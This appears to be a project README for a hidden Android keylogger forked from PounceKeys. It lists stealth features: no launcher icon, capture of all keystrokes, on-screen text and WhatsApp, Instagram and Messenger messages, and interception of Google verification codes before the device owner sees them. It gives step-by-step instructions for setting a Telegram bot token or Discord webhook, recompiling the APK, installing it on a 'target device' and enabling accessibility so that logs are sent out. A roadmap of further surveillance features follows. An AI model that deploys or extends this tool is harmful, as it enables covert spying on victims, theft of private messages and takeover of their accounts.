Features
✔️ full launcher stealth with no app icon on the home screen or launcher
✔️ one a a kind custom buffers for improved logging readability
✔️ sends notifications even while in a locked state (grabs google code before owner sees it) - (Optimized the code from the original project for better performance (read more at references.)
✔️ grabs all text on the screen the user is looking at. (except images)
✔️ keylogs all user input, even external and remote keyboards
✔️ Logs the text within message balloons whenever the user clicks on them (such as when long-pressing to reply or forward the message).
✔️ Works on Whatsapp/Whatsapp Business, Instagram and Messenger
✔️ You can choose to send logs either through Discord webhooks or the Telegram API.
Instalation
-
Telegram:
- Download APK file.
- To decompile the APK, open it in an APK Editor like APKToolGUI or APK Editor Studio.
- Open the decompilation folder and find the file named
MyAccessibilityService$MessageSender.smali
.
- Search for a file
TELEGRAM_BOT_TOKEN
and TELEGRAM_CHAT_ID
and replace it with your correspondent bot token and chat ID.
- Compile and sign apk.
- Install on target device.
- You must enable it in the accessibility settings.
-
Discord:
- Download APK file.
- To decompile the APK, open it in an APK Editor like APKToolGUI or APK Editor Studio.
- Open the decompilation folder and find the file named
MyAccessibilityService$MessageSender.smali
.
- Search for
YOUR_DISCORD_WEBHOOK_URL
and replace it with your correspondent BOT URL you got it from Discord.
- Compile and sign apk.
- Install on target device.
- You must enable it in the accessibility settings.
If everything went ok, you should receive on discord or telegram chat a message containing some data of the cellphone that the app was installed on.

This project is a fork of another keylogger called PounceKeys with about 50% of its code modified to enhance logging capabilities, such as improving data storage in the buffer and handling notifications more effectively. The current version of MyAccessibilityServices has grown by approximately 120 lines, with a focus on social media platforms like WhatsApp and Instagram. The APK and source code are currently unavailable as I am making ongoing adjustments, but they will be released soon. However, I am uncertain about the project's long-term viability, as the original project, PounceKeys, remains highly active (sort of).
Depending on how this goes, I'll be implementing some features, which I'll discuss in the next section.
Roadmap
-
[x] 1. Improve handleNotificationChangedEvent
method
- The code on the original project was too simples, so i've made some changes:
- Detailed Notification Extraction: My code extracts detailed information from the notification object (title, text, subtext, big text). This provides more comprehensive and structured notification content.
- Fallback Mechanism: If the notification object is null, it falls back to appending the notification text, ensuring that no information is lost.
- Readability and Context: By appending more structured and detailed information, the log messages are more informative and readable.
-
[x] 2. Improved handleTextChangedEvent
method
- The code on the original project was good enough but I still made some changes:
- Efficiency: My code accumulates new text in a StringBuilder (buffer) and appends it to currentKeyEvents only once after processing all text changes. This reduces the number of StringBuilder operations, which can be more efficient.
- Flag Check: The use of the newTextAdded flag ensures that currentKeyEvents is only updated if new text was actually added, avoiding unnecessary operations and checks.
- Readability and Maintainability: Code's separation of concerns (accumulating new text first, then appending it) makes the logic clearer and easier to maintain.
-
[ ] 3. The code needs refactoring
- The code needs refactoring because some blocks are confusing and hard to understand. Refactoring will help eliminate inconsistencies and redundancies, making the code more readable, maintainable, and efficient.
-
[ ] 4. Screenshot feature
- I will attempt to implement a functionality that takes a screenshot of the app's home page occasionally when the user opens the app, using almost only accessibility services.
-
[x] 5. Lower the amount of logs generated.
Currently, whenever the user opens WhatsApp, Instagram, or Messenger, the app captures all visible text on the screen and sends it to either Discord or Telegram. Additionally, a new log is generated every time the user navigates back to the home page, clicks on a chat, views statuses, or accesses calls. This process needs to be optimized to reduce the volume of logs and enhance readability.
- Done. The app now filters out duplicate logs within a 10-minute timeframe. A confirmation message is displayed, and the processed data is retained for this duration before being erased.
